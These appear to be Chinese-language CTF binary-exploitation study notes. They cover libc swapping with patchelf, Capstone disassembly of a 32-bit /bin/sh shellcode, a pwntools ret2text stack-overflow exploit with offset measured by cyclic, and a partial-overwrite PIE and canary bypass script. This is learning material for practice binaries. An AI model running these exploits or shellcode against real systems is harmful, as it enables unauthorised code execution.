换库
strings libc.so.6 | grep 'ubuntu'
./download 2.23-0ubuntu11.3_amd64 patchelf --set-interpreter /home/zechariah/glibc-all-in-one/libs/2.35-0ubuntu3.9_amd64/ld-linux-x86-64.so.2 filename patchelf --replace-needed libc.so.6 ./libc.so.6 filename
|
Capstone字节码转汇编代码
from capstone import *
shellcode_x86 = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode_x86 += b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode_x86 += b"\x0b\xcd\x80"
md = Cs(CS_ARCH_X86, CS_MODE_32) for i in md.disasm(shellcode_x86, 0x00): print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))
|
md = Cs(CS_ARCH_X86, CS_MODE_32): 初始化类,给两个参数(硬件架构和硬件模式) for i in md.disasm(shellcode, 0x00): disasm 反汇编这段HEX, 它的参数是shellcode和起始地址。 print(“0x%x:\t%s\t%s” %(i.address, i.mnemonic, i.op_str)):打印地址和操作数。
|
测量变量溢出长度(cyclic)
初试
checksec,32位

拖入IDA

容易引起栈溢出的函数gets

找到后门函数

地址为0x804863A

完成如下exp:
from pwn import * p=process("./ret2text") offset=104 addr = 0x804863A payload=b'a'* offset + p32(addr) p.sendline(payload) p.interactive()
|

打不通
手动测量变量溢出长度
猜测也许是IDA中的变量溢出长度是错误的
于是我们手动测量
工具cyclic生成字符串
cyclic 200生成一个长度为200的字符串

gdb调试

据此可知最先溢出的部分是0x62616164
查找填充空栈所需量
cyclic -l 0x62616164

实际上的offset是112
修改exp如下:
from pwn import * p=process("./ret2text") offset=112 addr = 0x804863A payload=b'a'* offset + p32(addr) p.sendline(payload) p.interactive()
|

成功getshell!!!!!
(绕过PIE保护)Partial overwrite
栈上的partial overwrite
我们知道,在程序开启了PIE保护时(PIEenabled)高位的地址会发生随机化,但低位的偏移是始终固定的,也就是说如果我们能更改低位的偏移,就可以在一定程度上控制程序的执行流,绕过PIE保护。
partial overwrite不仅仅可以用在栈上,同样可以用在其它随机化的场景。比如堆的随机化,由于堆起始地址低字节一定是0x00,也可以通过覆盖低位来控制堆上的偏移。
示例
无法拿到附件,本例未经过本人复现,仅摘录




from pwn import *
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]
while True: try: io = process("./babypie", timeout = 1) io.sendafter(b":\n", b'a' * (0x30 - 0x8 + 1)) io.recvuntil(b'a' * (0x30 - 0x8 + 1)) canary = b'\0' + io.recvn(7) success(canary.encode('hex')) io.sendafter(b":\n", b'a' * (0x30 - 0x8) + canary + b'bbbbbbbb' + b'\x3E\x0A') io.interactive() except Exception as e: io.close() print (e)
|